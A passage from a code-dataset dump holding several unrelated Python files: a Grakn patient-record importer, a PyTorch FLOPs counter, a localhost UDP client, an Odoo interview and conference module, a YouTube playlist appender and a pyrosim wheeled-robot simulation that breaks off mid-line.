Last Name', 'Previous Street 1', 'Previous Street 2', 'Previous City', 'Previous State', 'Previous Zip Code')\n\t)\n\n\treturn '''\n\t\tinsert\n\t\t\n\t\t\t$person isa person,\n\t\t\t\thas first-name \"{firstName}\",\n\t\t\t\thas middle-initial \"{middleInitial}\",\n\t\t\t\thas last-name \"{lastName}\",\n\t\t\t\thas birth-date {birthDate},\n\t\t\t\thas sex \"{sex}\";\n\t\t\t\n\t\t\t$account isa account,\n\t\t\t\thas account-number \"{accountNumber}\";\n\t\t\t\n\t\t\t$holds-account (\n\t\t\t\taccount-holder: $person,\n\t\t\t\tpatient-account: $account\n\t\t\t) isa holds-account;\n\t\t\n\t\t\t$current-address isa address,\n\t\t\t\thas street-1 \"{currentStreet1}\",\n\t\t\t\thas street-2 \"{currentStreet2}\",\n\t\t\t\thas city \"{currentCity}\",\n\t\t\t\thas state \"{currentState}\",\n\t\t\t\thas zip-code \"{currentZipCode}\";\n\t\t\t\n\t\t\t$previous-address isa address,\n\t\t\t\thas street-1 \"{previousStreet1}\",\n\t\t\t\thas street-2 \"{previousStreet2}\",\n\t\t\t\thas city \"{previousCity}\",\n\t\t\t\thas state \"{previousState}\",\n\t\t\t\thas zip-code \"{previousZipCode}\";\n\t\t\t\n\n\t\t# Relations\n\t\t\n\t\t\t$lives-at-address (\n\t\t\t\tperson-with-address: $person,\n\t\t\t\tplace-lived: $current-address\n\t\t\t) isa lives-at-address,\n\t\t\t\thas is-current true; # Infer?\n\n\t\t\t$lived-at-address (\n\t\t\t\tperson-with-address: $person,\n\t\t\t\tplace-lived: $previous-address\n\t\t\t) isa lives-at-address,\n\t\t\t\thas is-current false; # Infer?\n\n\t\t\t$patient-record (\n\t\t\t\tpatient: $person,\n\t\t\t\tholds-account-in-record: $holds-account,\n\t\t\t\tlives-at-address-in-record: $lives-at-address,\n\t\t\t\tlived-at-address-in-record: $lived-at-address\n\t\t\t) isa patient-record;\n\t'''.format(\n\t\taccountNumber = accountNumber,\n\t\tfirstName = firstName,\n\t\tmiddleInitial = middleInitial,\n\t\tlastName = lastName,\n\t\tbirthDate = parseDate(birthDate),\n\t\tsex = sex,\n\t\tcurrentStreet1 = currentStreet1,\n\t\tcurrentStreet2 = currentStreet2, \n\t\tcurrentCity = currentCity, \n\t\tcurrentState = currentState, \n\t\tcurrentZipCode = currentZipCode, \n\t\tpreviousFirstName = previousFirstName, \n\t\tpreviousMiddleInitial = previousMiddleInitial, \n\t\tpreviousLastName = previousLastName, \n\t\tpreviousStreet1 = previousStreet1, \n\t\tpreviousStreet2 = previousStreet2, \n\t\tpreviousCity = previousCity, \n\t\tpreviousState = previousState, \n\t\tpreviousZipCode = previousZipCode\n\t)\n\n\n\ndef main(keyspace = 'office_ally_patients', dataPath = 'sample-data/Patient Matching Data.csv'):\n\tprint('Starting database client...')\n\n\twith GraknClient(uri='localhost:48555') as client:\n\t\tprint('Starting database session...')\n\n\t\twith client.session(keyspace=keyspace) as session:\n\t\t\tprint('Starting write transaction...')\n\n\t\t\twith session.transaction().write() as transaction:\n\t\t\t\tprint('Importing data from \"{dataPath}\"...'.format(dataPath=dataPath))\n\n\t\t\t\twith open(dataPath) as csvfile:\n\t\t\t\t\tfor row in csv.DictReader(csvfile):\n\t\t\t\t\t\tprint('Inserting:', dict(row))\n\t\t\t\t\t\tinsert_iterator = transaction.query(\n\t\t\t\t\t\t\tqueryInsertPatientRecord(row)\n\t\t\t\t\t\t)\n\t\t\t\t\n\t\t\t\ttransaction.commit()\n\t\t\t\n\t\t\tprint('Closing database session...')\n\t\t\t## Close session\n\t\t\n\t\tprint('Closing database client...')\n\t\t## Close client\n\n\tprint('Successfully imported.')\n\n\nif __name__ == '__main__':\n\tmain(*argv[1:])\n","sub_path":"importer/import-patient-records.py","file_name":"import-patient-records.py","file_ext":"py","file_size_in_byte":3948,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"180198795","text":"import torchvision\nimport re\nimport torch\n\nin_height = 224\nin_width = 224\n\ndef get_num_gen(gen):\n return sum(1 for x in gen)\n\ndef flops_layer(layer):\n \"\"\"\n Calculate the number of flops for given a string information of layer.\n We extract only resonable numbers and use them.\n \n Args:\n layer (str) : example\n Linear (512 -> 1000)\n Conv2d(3, 64, kernel_size=(7, 7), stride=(2, 2), padding=(3, 3), bias=False)\n BatchNorm2d(64, eps=1e-05, momentum=0.1, affine=True)\n \"\"\"\n #print(layer)\n idx_type_end = layer.find('(')\n type_name = layer[:idx_type_end]\n \n params = re.findall('[^a-z](\\d+)', layer) \n flops = 1\n \n if layer.find('Linear') >= 0:\n C1 = int(params[0])\n C2 = int(params[1])\n flops = C1*C2\n \n elif layer.find('Conv2d') >= 0:\n C1 = int(params[0])\n C2 = int(params[1])\n K1 = int(params[2])\n K2 = int(params[3])\n # print(len(params))\n global in_height\n global in_width\n flops = C1*C2*K1*K2*in_height*in_width\n \n if len(params)<=6: \n in_height = (in_height-K1 + 2*0)/int(params[4]) +1\n in_width = (in_width - K2 + 2*0)/int(params[4]) +1\n else:\n in_height = (in_height-K1 + 2*int(params[6]))/int(params[4]) +1\n in_width = (in_width - K2 + 2*int(params[6]))/int(params[4]) +1\n\n elif layer.find('Pool') >=0:\n C1 = int(params[0])\n C2 = int(params[2])\n if C2==0:\n C2=1\n global in_height\n global in_width\n in_height = (in_height - C1)/C2 + 1\n in_width = (in_width - C1)/C2 + 1\n\n return flops\n\ndef calculate_flops(gen):\n \"\"\"\n Calculate the flops given a generator of pytorch model.\n It only compute the flops of forward pass.\n \n Example:\n >>> net = torchvision.models.resnet18()\n >>> calculate_flops(net.children())\n \"\"\"\n flops = 0;\n \n for child in gen:\n num_children = get_num_gen(child.children())\n \n # leaf node\n if num_children == 0:\n flops += flops_layer(str(child))\n \n else:\n flops += calculate_flops(child.children())\n \n return flops\n\n#net = torchvision.models.resnet18()\ndef main_(model=None, input_height=224, input_width=224):\n\n\n in_height=input_height\n in_width=input_width \n net = model\n flops = calculate_flops(net.children())\n print(flops / 10.0**9, 'Billion')\n# 11.435429919 G\n","sub_path":"SqueezeNet-Pruning/flops.py","file_name":"flops.py","file_ext":"py","file_size_in_byte":2522,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"281595006","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\"\"\"\n@version: 3.5\n@author: morgana\n@license: Apache Licence \n@contact: vipmorgana@gmail.com\n@site: \n@software: PyCharm\n@file: udp_client1.py\n@time: 2017/7/11 上午10:59\n\"\"\"\n\nimport socket\nip_port=('127.0.0.1',9000)\nBUFFIZE=1024\nudp_server_client = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)\n\nwhile True:\n msg=input(\">>:\").strip()\n if not msg:continue\n udp_server_client.sendto(msg.encode(\"utf-8\"),ip_port)\n back_msg,addr = udp_server_client.recvfrom(BUFFIZE)\n print(back_msg.decode('utf-8'),addr)\n","sub_path":"D20170711Udp/notes/udp_client1.py","file_name":"udp_client1.py","file_ext":"py","file_size_in_byte":564,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"231630698","text":"import string\n\nfrom openerp import models, fields, api\nfrom datetime import datetime\nfrom .. import util\n\n\nclass Applicant(models.Model):\n _name = 'hr.applicant'\n _inherit = 'hr.applicant'\n\n\n interview_id = fields.Many2one('survey.survey', string=\"Interview to join\")\n input_token = fields.Char(string=\"Input token\", related='response_id.token')\n letter = fields.Text(string=\"Cover letter\")\n\n @api.one\n def getInterviewHistory(self):\n return {'id': self.response_id.id, 'state': self.response_id.state, 'deadline': self.response_id.deadline,\n 'wrap_up': self.response_id.wrap_up}\n\n @api.one\n def getCandidateInfo(self):\n return {'id': self.id, 'name': self.name, 'email': self.email_from}\n\n @api.one\n def startInterview(self):\n if not self.date_action:\n self.write({'date_action': fields.Date.today()})\n if self.response_id.state == 'new':\n self.response_id.write({'state': 'skip'})\n return True\n return False\n\n @api.multi\n def getInterviewScore(self):\n self.ensure_one()\n if self.response_id.state != 'done':\n return 0\n if len(self.response_id.user_input_line_ids) == 0:\n return 0\n score = 0\n for line in self.response_id.user_input_line_ids:\n if line.quizz_mark >0 :\n score +=1\n return score * 100 / len(self.response_id.user_input_line_ids)\n\n @api.one\n def stopInterview(self):\n if self.response_id.state == 'new' or self.response_id.state == 'skip':\n self.response_id.write({'state': 'done'})\n self.env['career.mail_service'].sendInterviewThankyou(self.interview_id.id, self.email_from)\n return True\n return False\n\n @api.one\n def submitInterviewAnswer(self, questionId, videoUrl):\n if self.response_id.state == 'skip':\n self.response_id.write({'state': 'skip'})\n self.env['survey.user_input_line'].create({'user_input_id': self.response_id.id, 'question_id': questionId,\n 'skipped': False,\n 'answer_type': 'url',\n 'value_video_url': videoUrl})\n return True\n return False\n\n @api.one\n def submitQuizAnswer(self, questionId, optionId):\n if self.response_id.state == 'skip':\n self.response_id.write({'state': 'skip'})\n option = self.env['survey.label'].browse(optionId)\n self.env['survey.user_input_line'].create({'user_input_id': self.response_id.id, 'question_id': questionId,\n 'skipped': False,\n 'answer_type': 'suggestion',\n 'value_suggested': optionId,\n 'quizz_mark':option.quizz_mark})\n return True\n return False\n\n @api.one\n def attachDocument(self, file_name, file_location, comment):\n self.env['ir.attachment'].create({'name': comment, 'description': comment,\n 'res_model': 'hr.applicant', 'res_id': self.id,\n 'company_id': self.company_id.id, 'type': 'binary',\n 'store_fname': file_location, 'datas_fname': file_name})\n return True\n\n\nclass ConferenceMember(models.Model):\n _name = 'career.conference_member'\n\n name = fields.Text(string=\"Member name\")\n member_id = fields.Char(string=\"Member ID\")\n meeting_id = fields.Char(string=\"Meeting ID\", related='conference_id.meeting_id')\n role = fields.Selection([('moderator', 'Moderator'), ('guest', 'Participant'), ('candidate', 'Candidate')],\n default='guest')\n access_code = fields.Char(string=\"Conference access code\")\n conference_id = fields.Many2one('career.conference', string=\"Conference to join\")\n rec_model = fields.Char(string=\"Record model\")\n rec_id = fields.Integer(string=\"Record ID\")\n\n @api.model\n def create(self, vals):\n vals['member_id'] = util.id_generator(24, string.digits)\n conf = super(ConferenceMember, self).create(vals)\n return conf\n\n @api.multi\n def getMeetingInfo(self):\n self.ensure_one()\n info = {}\n info['status'] = self.conference_id.status\n if self.conference_id.status != 'ended':\n for member in self.conference_id.member_ids:\n if member.role == 'moderator':\n info['moderator'] = {'name': member.name, 'role': member.role, 'memberId': member.member_id,\n 'meetingId': member.meeting_id}\n questions = self.env['survey.question'].search(\n [('survey_id', '=', self.conference_id.interview_id.id)])\n info['questionList'] = [\n {'id': q.id, 'title': q.question, 'response': q.response, 'retry': q.retry,\n 'prepare': q.prepare, 'videoUrl': q.videoUrl, 'source': q.source,\n 'type': q.mode, 'order': q.sequence} for q in questions]\n if member.role == 'candidate':\n info['candidate'] = {'name': member.name, 'role': member.role, 'memberId': member.member_id,\n 'meetingId': member.meeting_id}\n for applicant in self.env[member.rec_model].browse(member.rec_id):\n for question in info['questionList']:\n question['attempted'] = self.env['survey.user_input_line'].search_count(\n [('user_input_id', '=', applicant.response_id.id),\n ('question_id', '=', question['id'])]) == 1\n job = self.conference_id.interview_id.job_id\n info['job'] = {'name': job.name, 'description': job.description, 'deadline': job.deadline,\n 'status': job.status,\n 'requirements': job.requirements, 'company': job.company_id.name,\n 'country': job.country_id.name,\n 'province': job.province_id.name, 'createDate': job.create_date}\n return info\n\n @api.multi\n def submitInterviewAnswer(self, candidateMemberId, questionId, videoUrl):\n self.ensure_one()\n if self.role != 'moderator':\n return False\n for member in self.env['career.conference_member'].search(\n [('member_id', '=', candidateMemberId), ('meeting_id', '=', self.meeting_id)]):\n for applicant in self.env[member.rec_model].browse(member.rec_id):\n applicant.response_id.write({'state': 'skip'})\n answer = self.env['survey.user_input_line'].search(\n [('user_input_id', '=', applicant.response_id.id), ('question_id', '=', questionId)])\n if not answer:\n self.env['survey.user_input_line'].create(\n {'user_input_id': applicant.response_id.id, 'question_id': questionId,\n 'skipped': False,\n 'answer_type': 'url',\n 'value_video_url': videoUrl})\n else:\n answer.write({'skipped': False, 'answer_type': 'url', 'value_video_url': videoUrl})\n return True\n return False\n\n @api.multi\n def submitAssessment(self, candidateMemberId, assessmentResult):\n self.ensure_one()\n if self.role != 'moderator':\n return False\n for employer in self.env[self.rec_model].browse(self.rec_id):\n for candidate_member in self.env['career.conference_member'].search(\n [('member_id', '=', candidateMemberId), ('meeting_id', '=', self.meeting_id)]):\n for applicant in self.env[candidate_member.rec_model].browse(candidate_member.rec_id):\n assessmentResult['candidateId'] = applicant.id\n assessmentResult['answerList'] = {}\n return employer.submitAssessment(assessmentResult)\n return False\n\n\nclass Conference(models.Model):\n _name = 'career.conference'\n\n name = fields.Text(string=\"Conference name\")\n meeting_id = fields.Char(string=\"Metting ID\")\n applicant_id = fields.Many2one('hr.applicant', string=\"Candidate\")\n company_id = fields.Many2one(string='Company', related='applicant_id.company_id')\n access_code = fields.Char(string=\"Conference access code\")\n mod_access_code = fields.Char(string=\"Conference moderator access code\")\n interview_id = fields.Many2one('survey.survey', string='Interview')\n language = fields.Char(string='Language', related='interview_id.language')\n member_ids = fields.One2many('career.conference_member', 'conference_id')\n schedule = fields.Datetime(\"Interview schedule\")\n status = fields.Selection([('pending', 'Initial status'), ('started', 'Start status'), ('ended', 'Closed status')],\n default='pending')\n\n @api.multi\n def action_open(self):\n self.ensure_one()\n self.write({'status': 'started'})\n return True\n\n @api.multi\n def action_end(self):\n self.ensure_one()\n self.write({'status': 'ended'})\n return True\n\n @api.model\n def create(self, vals):\n vals['access_code'] = util.id_generator(12, string.digits)\n vals['mod_access_code'] = util.id_generator(12, string.digits)\n conf = super(Conference, self).create(vals)\n return conf\n\n @api.multi\n def action_launch(self):\n self.ensure_one()\n if not self.env['career.conference_service'].openMeeting(self.id):\n return False\n return {'id': self.id, 'name': self.name, 'meetingId': self.meeting_id, 'moderatorPwd': self.mod_access_code}\n\n\nclass Interview(models.Model):\n _name = 'survey.survey'\n _inherit = 'survey.survey'\n\n response = fields.Integer(string=\"Response time for one question\")\n prepare = fields.Integer(string=\"Prepare time for one question\")\n retry = fields.Integer(string=\"Number of attempts for one question, -1 means unlimited\")\n introUrl = fields.Text(string=\"Introduction Video URL\")\n exitUrl = fields.Text(string=\"Thank you Video URL\")\n aboutUsUrl = fields.Text(string=\"About Us Video URL\")\n language = fields.Char(string=\"Language\", default=\"en\")\n job_id = fields.Many2one('hr.job', string=\"Job\")\n status = fields.Selection(\n [('initial', 'Initial status'), ('published', 'Published status'), ('closed', 'Closed status')],\n default='initial')\n conference_ids = fields.One2many('career.conference', 'interview_id', string=\"Conference\")\n mode = fields.Selection([('conference', 'Conference interview'), ('video', 'Video interview'),('quiz', 'Quiz interview')], default='video')\n round = fields.Integer(string=\"Interview round number\", default=1)\n quest_num = fields.Integer(\"Number of question\")\n benchmark = fields.Integer(\"Number of correct answer to pass the test\")\n shuffle = fields.Boolean(\"Randomize the question order\")\n quiz_time = fields.Integer(\"Total quiz time in second\")\n\n @api.model\n def create(self, vals):\n if 'job_id' in vals:\n vals['round'] = self.env['survey.survey'].search_count([('job_id', '=', vals['job_id'])]) + 1\n interview = super(Interview, self).create(vals)\n return interview\n\n @api.one\n def updateInterview(self, vals):\n self.write({'title': vals['name'], 'response': int(vals['response']) if 'response' in vals else False,\n 'retry': int(vals['retry']) if 'retry' in vals else False,\n 'introUrl': vals['introUrl'],\n 'mode': vals['mode'],\n 'exitUrl': vals['exitUrl'],\n 'prepare': int(vals['prepare']) if 'prepare' in vals else False,\n 'language': vals['language'] if 'language' in vals else False,\n 'quest_num': int(vals['questionNum']) if 'questionNum' in vals else False,\n 'benchmark': int(vals['benchmark']) if 'benchmark' in vals else False,\n 'shuffle': bool(vals['shuffle']) if 'shuffle' in vals else False,\n 'quiz_time': int(vals['quizTime']) if 'quizTime' in vals else False\n })\n return True\n\n @api.multi\n def addInterviewQuestion(self, jQuestions):\n self.ensure_one()\n questionIds = []\n for jQuestion in jQuestions:\n page = self.env['survey.page'].create({'title': 'Single Page', 'survey_id': self.id})\n question_type = 'free_text' if self.mode!='quiz' else 'simple_choice'\n question = self.env['survey.question'].create(\n {'question': jQuestion['title'],\n 'response': int(jQuestion['response']) if 'response' in jQuestion else False,\n 'retry': int(jQuestion['retry']) if 'retry' in jQuestion else False,\n 'videoUrl': jQuestion['videoUrl'],\n 'prepare': int(jQuestion['prepare']) if 'prepare' in jQuestion else False,\n 'source': jQuestion['source'], 'mode': jQuestion['type'], 'page_id': page.id,\n 'type':question_type,\n 'sequence': int(jQuestion['order']), 'survey_id': self.id})\n if self.mode=='quiz':\n for jOption in jQuestion['options']:\n option = self.env['survey.label'].create(\n {'question_id': question.id,\n 'value': jOption['title'], 'quizz_mark': 1 if jOption['correct'] else 0})\n questionIds.append(question.id)\n return questionIds\n\n @api.multi\n def getInterviewQuestion(self):\n self.ensure_one()\n questions = self.env['survey.question'].search([('survey_id', '=', self.id)])\n if self.mode != 'quiz':\n questionList = [\n {'id': q.id, 'title': q.question, 'response': q.response, 'retry': q.retry, 'videoUrl': q.videoUrl,\n 'source': q.source, 'type': q.mode, 'order': q.sequence, 'prepare': q.prepare} for q in questions]\n else:\n questionList = [\n {'id': q.id, 'title': q.question, 'source': q.source, 'order': q.sequence,\n 'options': [{'id': o.id, 'title': o.value, 'correct': True if o.quizz_mark > 0 else False} for o in\n q.labels_ids]} for q in questions]\n return questionList\n\n @api.multi\n def getInterviewResponse(self):\n self.ensure_one()\n responseList = []\n for input in self.env['survey.user_input'].search([('survey_id', '=', self.id)]):\n for applicant in self.env['hr.applicant'].search(\n [('email_from', '=', input.email), ('response_id', '=', input.id)]):\n response = {}\n response['interviewDate'] = applicant.date_action\n response['candidate'] = {'id': applicant.id, 'name': applicant.name, 'email': applicant.email_from,\n 'score': applicant.getInterviewScore(),\n 'pass': applicant.getInterviewScore() >= self.benchmark,\n 'invited': True if self.env['career.email.history'].search(\n [('applicant_id', '=', applicant.id)]) else False}\n response['answerList'] = [\n {'id': line.id, 'questionId': line.question_id.id, 'videoUrl': line.value_video_url,'optionId':line.value_suggested.id if line.value_suggested else False,\n 'score':line.quizz_mark} for line in\n input.user_input_line_ids]\n documents = self.env['ir.attachment'].search(\n [('res_model', '=', 'hr.applicant'), ('res_id', '=', applicant[0].id)])\n response['documentList'] = [\n {'id': doc.id, 'title': doc.name, 'filename': doc.datas_fname, 'filedata': doc.store_fname} for doc\n in documents]\n responseList.append(response)\n return responseList\n\n @api.multi\n def getCandidate(self):\n self.ensure_one()\n candidateList = []\n for applicant in self.env['hr.applicant'].search(\n ['|', ('interview_id', '=', self.id), ('job_id', '=', self.job_id.id)]):\n candidate = {'id': applicant.id, 'name': applicant.name, 'email': applicant.email_from,\n 'round':applicant.interview_id.round,\n 'score': applicant.getInterviewScore(),\n 'pass':applicant.getInterviewScore() >= self.benchmark,\n 'invited': True if self.env['career.email.history'].search([('survey_id', '=', self.id),\n ('email', '=',\n applicant.email_from)]) else False}\n for conference in self.conference_ids:\n if conference.applicant_id.id == applicant.id:\n candidate['schedule'] = conference.schedule\n for employee in self.env['career.employee'].search([('login', '=', applicant.email_from)]):\n candidate['employeeId'] = employee.id\n candidate['profile'] = employee.getProfile()\n candidate['expList'] = employee.getWorkExperience()\n candidate['eduList'] = employee.getEducationHistory()\n candidate['certList'] = employee.getCertificate()\n candidate['docList'] = employee.getDocument()\n candidate['viewed'] = self.env['career.employee.history'].search_count(\n [('employee_id', '=', employee.id), ('company_id', '=', self.job_id.company_id.id)]) > 0\n candidateList.append(candidate)\n return candidateList\n\n @api.multi\n def deleteInterview(self):\n if self.status == 'initial':\n self.unlink()\n return True\n return False\n\n @api.multi\n def getInterviewStatistic(self):\n self.ensure_one()\n applicant_count = self.env['hr.applicant'].search_count([('interview_id', '=', self.id)])\n invite_count = self.env['career.email.history'].search_count([('survey_id', '=', self.id)])\n response_count = self.env['survey.user_input'].search_count(\n [('survey_id', '=', self.id), ('state', '=', 'done')])\n return {'applicant': applicant_count, 'invitation': invite_count, 'response': response_count}\n\n @api.multi\n def action_open(self):\n self.ensure_one()\n if self.status != 'published' and self.job_id.status == 'published' and not self.env['survey.survey'].search(\n [('job_id', '=', self.job_id.id), ('status', '=', 'published')]):\n self.write({'status': 'published'})\n return True\n return False\n\n @api.multi\n def action_close(self):\n self.ensure_one()\n if self.write({'status': 'closed'}):\n return True\n return False\n\n @api.multi\n def createCandidate(self, vals):\n self.ensure_one()\n if self.job_id.status != 'published' or self.status != 'published':\n return False\n user_input = self.env['survey.user_input'].search([('email', '=', vals['email']), ('survey_id', '=', self.id)])\n if not user_input:\n user_input = self.env['survey.user_input'].create({'survey_id': self.id, 'deadline': self.job_id.deadline,\n 'type': 'link', 'state': 'new', 'email': vals['email']})\n createNew = False\n candidate = self.env['hr.applicant'].search([('email_from', '=', vals['email'])])\n if not candidate:\n candidate = self.env['hr.applicant'].search(\n [('email_from', '=', vals['email']), '|', ('survey', '=', self.id), ('interview_id', '=', self.id)])\n if candidate:\n candidate.write({'interview_id': self.id})\n else:\n createNew = True\n else:\n createNew = True\n if createNew:\n candidate = self.env['hr.applicant'].create(\n {'name': vals['name'] or vals['email'], 'email_from': vals['email'], 'job_id': self.job_id.id,\n 'interview_id': self.id,\n 'company_id': self.job_id.company_id.id, 'response_id': user_input.id})\n return candidate\n\n @api.multi\n def getInterview(self):\n self.ensure_one()\n return {'id': self.id, 'name': self.title, 'response': self.response,\n 'prepare': self.prepare,'status':self.status,'mode':self.mode,'round':self.round,\n 'retry': self.retry, 'introUrl': self.introUrl, 'exitUrl': self.exitUrl,'language':self.language,\n 'aboutUsUrl': self.aboutUsUrl,'benchmark':self.benchmark,'quizTime':self.quiz_time,'shuffle':self.shuffle}\n\n\nclass InterviewQuestion(models.Model):\n _name = 'survey.question'\n _inherit = 'survey.question'\n\n response = fields.Integer(string=\"Response time limit for one question\")\n retry = fields.Integer(string=\"Number of attempts for one question, -1 means unlimited\")\n prepare = fields.Integer(string=\"Prepare time for one question, -1 means unlimited\", default=1)\n source = fields.Selection([('manual', 'User-defined'), ('system', 'System question')], default='system')\n mode = fields.Selection([('text', 'Reading'), ('video', 'Watching')], default='video')\n videoUrl = fields.Text(string=\"Question Video URL\")\n\n @api.one\n def updateInterviewQuestion(self, vals):\n self.write(\n {'question': vals['title'],\n 'response': int(vals['response']) if 'response' in vals else False,\n 'retry': int(vals['retry']) if 'retry' in vals else False,\n 'videoUrl': vals['videoUrl'],\n 'prepare': int(vals['prepare']) if 'prepare' in vals else False,\n 'source': vals['source'], 'mode': vals['type'],\n 'sequence': int(vals['order'])})\n return True\n\n @api.one\n def removeInterviewQuestion(self):\n self.page_id.unlink()\n self.unlink()\n return True\n\n\nclass InterviewHistory(models.Model):\n _name = 'survey.user_input'\n _inherit = 'survey.user_input'\n\n wrap_up = fields.Boolean(string=\"Wrap-up completed\")\n\n\nclass InterviewAnswer(models.Model):\n _name = 'survey.user_input_line'\n _inherit = 'survey.user_input_line'\n answer_type = fields.Selection(\n [('text', 'Text'), ('number', 'Number'), ('date', 'Date'), ('free_text', 'Free Text'),\n ('suggestion', 'Suggestion'), ('url', 'URL')])\n value_video_url = fields.Text(string=\"URL Video reponse\")\n","sub_path":"career/model/interview.py","file_name":"interview.py","file_ext":"py","file_size_in_byte":23177,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"486928194","text":"from sideEffect import SideEffect\n\nimport os, re\n\nimport google_auth_oauthlib.flow\nimport googleapiclient.discovery\nimport googleapiclient.errors\n\nclass YtPlaylistAppend (SideEffect):\n '''\n A side-effect that can add videos to YouTube playlists.\n '''\n _youtube = {}\n\n def __init__(self, config, secret):\n self.regex = '(https?://)?(www\\.)?youtu((.be/)|(be.(com|nl)/watch\\?v=))([a-zA-z0-9\\_\\-]+)'\n\n self.index = config['index'] if 'index' in config else 0\n self.playlist_id = config['playlist-id']\n self.youtube = YtPlaylistAppend.authorize(secret)\n\n @classmethod\n def authorize(cls, secret_location):\n '''\n Get credentials for a given secret.\n Caches the authorization for reuse.\n '''\n if secret_location not in cls._youtube:\n scopes = ['https://www.googleapis.com/auth/youtube.force-ssl']\n api_service_name = 'youtube'\n api_version = 'v3'\n flow = google_auth_oauthlib.flow.InstalledAppFlow.from_client_secrets_file(\n secret_location, scopes)\n\n credentials = flow.run_console()\n cls._youtube[secret_location] = googleapiclient.discovery.build(\n api_service_name, api_version, credentials=credentials)\n\n return cls._youtube[secret_location]\n\n def trigger(self, message):\n '''\n Find the video ID and add it to the playlist\n '''\n match = re.search(self.regex, message.text)\n if not match:\n return\n\n video_id = match.group(7)\n\n request = self.youtube.playlistItems().insert(\n part='snippet',\n body={\n 'snippet': {\n 'playlistId': self.playlist_id,\n 'position': self.index,\n 'resourceId': {\n 'kind': 'youtube#video',\n 'videoId': video_id\n }\n }\n }\n )\n response = request.execute()\n","sub_path":"src/ytPlaylistAppend.py","file_name":"ytPlaylistAppend.py","file_ext":"py","file_size_in_byte":1949,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"343317991","text":"import math\nimport numpy as np\nimport pyrosim\n\nfrom environment import Environment\n\nHEIGHT = 0.3\nEPS = 0.05\nWHEEL_RADIUS = 0.1\nSPEED = 10\n\n\nclass Robot(object):\n def __init__(self, sim, wts):\n main_body = sim.send_box(x=0, y=0, z=HEIGHT+EPS,\n length=HEIGHT, width=HEIGHT,\n height=EPS*2.0, mass=1)\n\n self.light = sim.send_light_sensor(main_body)\n self.position = sim.send_position_sensor(main_body)\n self.wts=wts\n\n # id arrays\n thighs = [0] * 4\n shins = [0] * 4\n hips = [0] * 4\n knees = [0] * 4\n swivels = [0] * 4\n saxles = [0] * 4\n wheels = [0] * 4\n waxles = [0] * 4\n foot_sensors = [0] * 4\n sensor_neurons = [0] * 5\n motor_neurons = [0] * 8\n\n sensor_neurons[-1] = sim.send_sensor_neuron(self.light)\n\n delta = float(math.pi) / 2.0\n\n for i in range(4):\n theta = delta*i\n x_pos = math.cos(theta)*HEIGHT\n y_pos = math.sin(theta)*HEIGHT\n\n thighs[i] = sim.send_cylinder(x=x_pos, y=y_pos, z=HEIGHT+EPS,\n r1=x_pos, r2=y_pos, r3=0,\n length=HEIGHT, radius=EPS, capped=True\n )\n\n hips[i] = sim.send_hinge_joint(main_body, thighs[i],\n x=x_pos/2.0, y=y_pos/2.0, z=HEIGHT+EPS,\n n1=-y_pos, n2=x_pos, n3=0,\n lo=0, hi=0,\n speed=1.0)\n\n x_pos2 = math.cos(theta)*1.5*HEIGHT\n y_pos2 = math.sin(theta)*1.5*HEIGHT\n\n shins[i] = sim.send_cylinder(x=x_pos2, y=y_pos2, z=(HEIGHT+EPS)/2.0,\n r1=0, r2=0, r3=1,\n length=HEIGHT, radius=EPS,\n mass=1., capped=True)\n\n knees[i] = sim.send_hinge_joint(thighs[i], shins[i],\n x=x_pos2, y=y_pos2, z=HEIGHT+EPS,\n n1=-y_pos, n2=x_pos, n3=0,\n lo=0, hi=0)\n\n swivels[i] = sim.send_sphere(\n x=x_pos2, y=y_pos2, z=(HEIGHT/2 - EPS) - WHEEL_RADIUS, radius=WHEEL_RADIUS)\n\n saxles[i] = sim.send_hinge_joint(first_body_id=swivels[i],\n second_body_id=shins[i], x=x_pos2,\n y=y_pos2, z=(HEIGHT/2 - EPS) - WHEEL_RADIUS,\n n1=0, n2=1, n3=0,\n position_control=False,\n speed=SPEED)\n\n motor_neurons[i] = sim.send_motor_neuron(joint_id=saxles[i])\n\n wheels[i] = sim.send_sphere(\n x=x_pos2, y=y_pos2, z=(HEIGHT/2 - EPS) - WHEEL_RADIUS, radius=WHEEL_RADIUS)\n\n waxles[i] = sim.send_hinge_joint(first_body_id=wheels[i],\n second_body_id=swivels[i], x=x_pos2,\n y=y_pos2, z=(HEIGHT/2 - EPS) - WHEEL_RADIUS,\n n1=1, n2=0, n3=0,\n position_control=False,\n speed=SPEED)\n\n motor_neurons[i+4] = sim.send_motor_neuron(waxles[i])\n foot_sensors[i] = sim.send_touch_sensor(wheels[i])\n sensor_neurons[i] = sim.send_sensor_neuron(foot_sensors[i])\n\n for i in range(5):\n for j in range(8):\n sim.send_synapse(sensor_neurons[i], motor_neurons[j], weight=wts[i, j])\n\n def evaluate(self, sim, env):\n env.send_to(sim)\n sim.start()\n\n def eval_fitness(self, sim, env):\n sim.wait_to_finish()\n x = sim.get_sensor_data(self.position, svi=0)[-1]\n y = sim.get_sensor_data(self.position, svi=1)[-1]\n distance = np.sqrt((env.x - x)**2 + (env.y - y)**2)\n\n sensor_data = sim.get_sensor_data(self.light)\n fitness = sensor_data[-1]\n\n del sim\n return fitness, distance\n\n\n'''def init_evnironments(num):\n envs = []\n for i in range(num):\n envs.append(Environment(i))\n return np.array(envs)\n\ndef new_sim(pp=True, pb=True, t=1000):\n return pyrosim.Simulator(play_paused=pp, play_blind=pb, eval_time=t)\n\ndef compute_fitness(population, env):\n sims = []; fits = []; dist = [];\n for i in range((2 // 2)):\n shift = i*10\n for j in range(2):\n sims.append(new_sim(pb=False, pp=True))\n robot = Robot(sims[j+shift], population[j+shift])\n robot.evaluate(sims[j+shift], env)\n fitness, distance = robot.eval_fitness(sims[j+shift], env)\n fits.append(fitness); dist.append(distance)\n\n return np.array(fits), np.array(dist)\n\nif __name__ == \"__main__\":\n\n envs = init_evnironments(4)\n parents = np.random.random((2, 5, 8)) * 2.0 - 1.0\n parent_fits, parent_dist = compute_fitness(parents, envs[0])\n parent_fits, parent_dist = compute_fitness(parents, 